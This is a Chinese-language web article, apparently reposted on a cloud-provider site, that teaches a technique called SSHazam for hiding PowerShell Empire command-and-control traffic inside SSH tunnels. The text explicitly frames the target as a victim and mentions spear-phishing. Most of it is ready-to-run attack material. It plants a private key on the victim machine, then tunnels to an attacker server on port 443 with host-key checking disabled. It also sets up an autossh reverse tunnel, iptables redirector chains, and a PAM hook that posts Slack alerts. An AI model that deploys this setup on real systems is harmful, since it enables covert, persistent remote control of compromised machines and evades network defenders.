溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

如何在標(biāo)準(zhǔn)SSH隧道中隱藏C&C流量

發(fā)布時間:2021-11-11 15:28:58 來源:億速云 閱讀:174 作者:柒染 欄目:編程語言

如何在標(biāo)準(zhǔn)SSH隧道中隱藏C&C流量,相信很多沒有經(jīng)驗的人對此束手無策,為此本文總結(jié)了問題出現(xiàn)的原因和解決方法,通過這篇文章希望你能解決這個問題。

SHazam是一種在標(biāo)準(zhǔn)SSH隧道中隱藏C&C流量從而躲避網(wǎng)絡(luò)檢測的技術(shù)。在本文的示例中將會運行PowerShell Empire,用于連接到受害者的localhost端口。本地端口會通過SSH連接被轉(zhuǎn)發(fā)到遠(yuǎn)程Empire server,以便讓我們看到的唯一網(wǎng)絡(luò)流量為SSH。示例中的受害者系統(tǒng)為OS X,但相同的技術(shù)也可以使用Plink.exe(Putty toolset的一部分)在Windows上實現(xiàn)。

如何在標(biāo)準(zhǔn)SSH隧道中隱藏C&C流量

從上圖可以看到,受害者系統(tǒng)有一個SSH隧道被配置為偵聽端口5430,并將接收到的任何內(nèi)容都轉(zhuǎn)發(fā)給Empire Server。Empire Server讓Empire在自己的localhost(127.0.0.1:5430)上運行和偵聽同一個端口。為了使SSH流量看上去更有迷惑性,我們讓SSH服務(wù)器偵聽端口443而不是標(biāo)準(zhǔn)的22端口。你可以通過編輯SSH配置文件更改其偵聽端口,以及云提供商防火墻配置以允許通過此端口進(jìn)行通信。

在建立隧道之前,你必須創(chuàng)建或復(fù)制私鑰到受害者系統(tǒng)上。必須將關(guān)聯(lián)的公鑰添加到empire-server的authorized_keys文件中以允許SSH連接。在本例中,我們將私鑰文件放置在受害者的~/.ssh/.do.key目錄。你可以通過以下命令完成這一系列操作:

mkdir ~/.ssh
chmod 700 ~/.ssh
echo -----BEGIN RSA PRIVATE KEY----- >> ~/.ssh/.do.key
echo MIIJKAIBAAKCAgEArVuMJdwgl9z9s1C0mrYV05hwUevmY+CkJaY/1iiPJSE6/AAp >> ~/.ssh/.do.key
echo +qkMZ9nrHkBQtaQMrXPW5MQXLxU/o8LQ5QyPiy/B4FiGEfNSx//mSJvEYAXXN4zC >> ~/.ssh/.do.key
<snipped here for brevity>
echo RkiQ5Eir83CLCZFLRWV8wFvNkGV2krxMXDtHHFL5ars/J7tdBekmYI62eXnE5oXl >> ~/.ssh/.do.key
echo NHky2x6YsnQf5lOkC1XyWvwg77gR2kRhb9KpOi+hp6xB42o00mpbZgyY5V4= >> ~/.ssh/.do.key
echo -----END RSA PRIVATE KEY----- >> ~/.ssh/.do.key
chmod 600 ~/.ssh/.do.key

為了防止任意獲取私鑰訪問權(quán)限的人向你的empire-server執(zhí)行不必要的操作,你可以在Empire Server上進(jìn)行配置更改。編輯/etc/passwd文件將其中的登錄名更改為/bin/false。

victim:x:1001:1001:Victim Guy,,,:/home/victim:/bin/false

使用受害系統(tǒng)上的私鑰,一條簡單的命令即可為你配置SSH隧道和端口。

ssh -i ~/.ssh/.do.key  -p 443 -N -f -oStrictHostKeyChecking=no victim@empire-server.corp.com -L 5430:127.0.0.1:5430

現(xiàn)在,你可以配置PowerShell Empire或你自己的C2來偵聽127.0.0.1:5430上的連接。這甚至在你進(jìn)行域前置( domain fronting)等復(fù)雜配置時仍可正常工作。

就像這樣,所有C2流量都被隱藏在了加密的SSH隧道內(nèi),因此你不必為C2觸發(fā)任何其他網(wǎng)絡(luò)簽名而擔(dān)心。

這項技術(shù)看上去非常的不錯也很簡單,但我相信你絕對不希望將客戶的敏感數(shù)據(jù)放在他人的云主機(jī)上。如果是這樣,你就需要設(shè)置其他重定向器,以將流量通過云主機(jī)轉(zhuǎn)發(fā)到你自己網(wǎng)絡(luò)中的系統(tǒng)上。但這么做的缺點就是操作過程會復(fù)雜很多,不過大家不用擔(dān)心我已經(jīng)為你們解決了所有的問題,如下所示:

如何在標(biāo)準(zhǔn)SSH隧道中隱藏C&C流量

C2連接通過SSH隧道轉(zhuǎn)發(fā)到empire-redirector。empire-redirector上的防火墻規(guī)則將流量轉(zhuǎn)發(fā)到另一個中間重定向器。最后,Empire C2會話最終登陸的內(nèi)部系統(tǒng)會建立與最終重定向器的反向SSH連接。

在受害者計算機(jī)上運行的SSH命令如下:

ssh -i ~/.ssh/.do.key  -p 443 -N -f -oStrictHostKeyChecking=no victim@empire-redirector.corp.com -L 5430:127.0.0.1:5431

從內(nèi)部可信系統(tǒng)運行的SSH命令為:

autossh -M 5431 -o ServerAliveInterval=30 -R 5433:10.10.10.185:5430 root@redirector.corp.com

你可能需要先安裝autossh,但這么做是值得的,因為它會確保你的隧道能夠長時間的保持運行。

Empire-Redirector的IP表規(guī)則如下:

iptables -t nat -A OUTPUT -m addrtype --src-type LOCAL --dst-type LOCAL -p tcp -m multiport --dports 5430:65535 -j DNAT --to-destination 128.62.137.184:5432
iptables -t nat -A POSTROUTING -m addrtype --src-type LOCAL --dst-type UNICAST -j MASQUERADE
sysctl -w net.ipv4.conf.all.route_localnet=1

這會將端口5430到65535轉(zhuǎn)發(fā)到最終重定向器,你可以使用該范圍內(nèi)的一個任意端口連接到受害者。

重定向器的IP表規(guī)則如下:

sysctl -w net.ipv4.conf.all.route_localnet=1
iptables -t nat -I PREROUTING -p tcp --dport 5432 -j DNAT --to 127.0.0.1:5433

你可能還希望在建立SSH連接時通過slack獲取通知。只需將這兩行添加到empire-redirector上的/etc/pam.d/sshd文件中,這樣當(dāng)每次成功建立SSH連接時就會自動運行我的slack通知腳本。

session [success=ok ignore=ignore module_unknown=ignore default=bad] pam_selinux.so open

session optional pam_exec.so /home/root/ssh-slack-alert.sh

以下是我slack腳本中的內(nèi)容:

#!/usr/bin/env bash

if [ "$PAM_USER" != "admin" ] && [ $PAM_TYPE != "close_session" ]
then
message="\`\`\`PamType: $PAM_TYPE\nSSH-User: $PAM_USER\nRhost: $PAM_RHOST\nServer: SSHazam\nHostname: `hostname`\`\`\`"
 
curl -X POST \
  --data-urlencode "payload={\"channel\": \"alerts\", \"username\": \"SSHazam\", \"text\": \"${message}\", \"icon_emoji\": \":boom:\"}" \
 https://hooks.slack.com/services/YOUR/SLACK/HOOKHERE
fi

注意!在這個更為復(fù)雜的場景中,一次只能有一個受害者連接,除非每個受害者都配置為使用empire-redirector上的不同端口和用戶/私鑰組合。這很煩人,但在魚叉式釣魚場景中相當(dāng)好用。

看完上述內(nèi)容,你們掌握如何在標(biāo)準(zhǔn)SSH隧道中隱藏C&C流量的方法了嗎?如果還想學(xué)到更多技能或想了解更多相關(guān)內(nèi)容,歡迎關(guān)注億速云行業(yè)資訊頻道,感謝各位的閱讀!

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。

ssh
AI